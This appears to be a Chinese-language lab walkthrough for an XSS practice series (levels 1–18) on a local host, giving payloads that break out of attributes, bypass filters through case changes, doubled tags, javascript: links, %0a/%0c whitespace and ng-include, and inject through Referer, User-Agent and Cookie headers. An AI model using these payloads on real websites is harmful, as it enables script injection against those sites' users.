一、测试过滤的代码:
1、引号;
2、标签;
3、属性;
4、实体编号;
' " <scRipt> <a> <Iframe> HrEf daTa oNcliCk a
二、实战代码:
1、Less-1
http://www.xss.com:539/level1.php?name=<script> alert('ww') </script>
2、Less-2
http://www.xss.com:539/level2.php?keyword="><script> alert(1) </script>
// 对于 input() 标签,在标签内无法执行javascript代码,所以在注入时要先闭合input()标签
// 也可以插入其它标签
http://127.0.0.1:539/level2.php?keyword="> <p onclick="alert(1)">123</p> o
3、Less-3
原标签为:<input name=keyword value=''>
<input name=keyword value='' onclick=javascript:alert('ww') '>
闭合标签后,最后一个单引号的位置处要注意,不能与javascript语句接触
(1)要留出一个空格的位置(但是这在浏览器的表单中不太容易做到,直接上传space键无法留下空格符),
可以使用很多方法来预留空格符,不一定是要单引号,就算是个普通字母也行
(2)使用 // ,这可以起到空格键的作用
一、鼠标事件
1、http://www.xss.com:539/level3.php?keyword=' onclick=javascript:alert() '
2、http://www.xss.com:539/level3.php?keyword=' onblur=javascript:alert() o
3、http://127.0.0.1:539/level3.php?keyword=' onfocus=javascript:alert('ww')//
4、http://127.0.0.1:539/level3.php?keyword=' onmouseover=javascript:alert('ww')//
5、http://127.0.0.1:539/level3.php?keyword=' onmouseout=javascript:alert('ww')//
6、http://127.0.0.1:539/level3.php?keyword=' onkeydown=javascript:alert('ww')//
7、http://127.0.0.1:539/level3.php?keyword=' onkeyup=javascript:alert('ww')//
4、Less-4
http://127.0.0.1:539/level4.php?keyword=" onclick=alert('ww') o
5、Less-5
//若 script 标签被过滤,on 字符被过滤,可以使用 a 标签的 href 属性
http://127.0.0.1:539/level5.php?keyword="><a href=javascript:alert(1)>123</a> o
6、Less-6
// 大小写绕过
http://127.0.0.1:539/level6.php?keyword="><sCript> alert(1) </ScrIpt>
http://127.0.0.1:539/level6.php?keyword=" oNclick=alert(1) o
http://127.0.0.1:539/level6.php?keyword="> <a Href=javascript:alert(1)>111</a>
7、Less-7
// 双写绕过
http://127.0.0.1:539/level7.php?keyword="><scscriptript> alert(1) </scriscriptpt>
8、Less-8
注意:实体编码在经过函数 htmlspecialchars() 后就不能用了;
javascript:alert(1)
9、Less-9
(1)javascript:alert(1)/*http://*/
(2)javascript:alert(1)//http://
10、Less-10
http://127.0.0.1:539/level10.php?keyword=1&t_sort=" onclick=alert(1) type=text
11、Less-11
(1)使用 hackbar 的 Referer 参数进行注入:
(2)使用 burpsuite 添加 Referer 字段进行注入:
由:
GET /level11.php?keyword=good%20job! HTTP/1.1
Host: 127.0.0.1:539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?
改为:
GET /level11.php?keyword=good%20job! HTTP/1.1
Host: 127.0.0.1:539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: " onclick=alert(1) type=text
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?
12、同 Less-11 ,对 User-Agent 字段进行注入,可以使用 hackbar ,也可以使用 burpsuite;
13、同 Less-12,对 Cookie 字段进行注入,可以使用 hackbar ,也可以使用 burpsuite;
14、上传图片文件,鼠标右击图片,可以更改文件属性等信息,更改为 xss 注入的代码,即可;
" onclick=alert(1)
15、Less-15:
(1)ng-include:指定外部html文件
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册
(2)可以绕过 htmlspecialchars( ) 函数的实体化:我的理解是它会先执行外部导入的 html 文件,而在执行文件内容的时候是没有对注入内容进行实体化操作的,所以可以实现绕过;
//(1)不能使用 <script> 标签,它不会执行
//(2)要加引号来把地址内容包含起来
http://127.0.0.1:539/level15.php?src='/level1.php?name=<a href=javascript:alert(1)>111</a>'
16、Less-16:进行空格符绕过的时候,我测试这关只有 %0a 和 %0c 可行;
(1)http://127.0.0.1:539/level16.php?keyword=<svg%0aonload=alert(1)>
(2)http://127.0.0.1:539/level16.php?keyword=<svg%0conload=alert(1)>
17、Less-17:<embed> 标签,加载插件或图片;
// 正常使用:若插件或图片地址存在 get 参数,在书写注入内容前要把 get 参数闭合
<embed src=1.jpg?a=b onclick=alert(1)>
// 关卡内容
<embed src=index.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>
// 所以注入代码必须要先用 arg01 和 arg02 的值把 get 参数内容进行闭合,然后用空格符隔开后进行注入
http://127.0.0.1:539/level17.php?arg01=a&arg02=b onmouseover=alert(1)
18、Less-18:同Less-17
19、20、flush xss 很少见了,而且涉及反编译,暂且不提;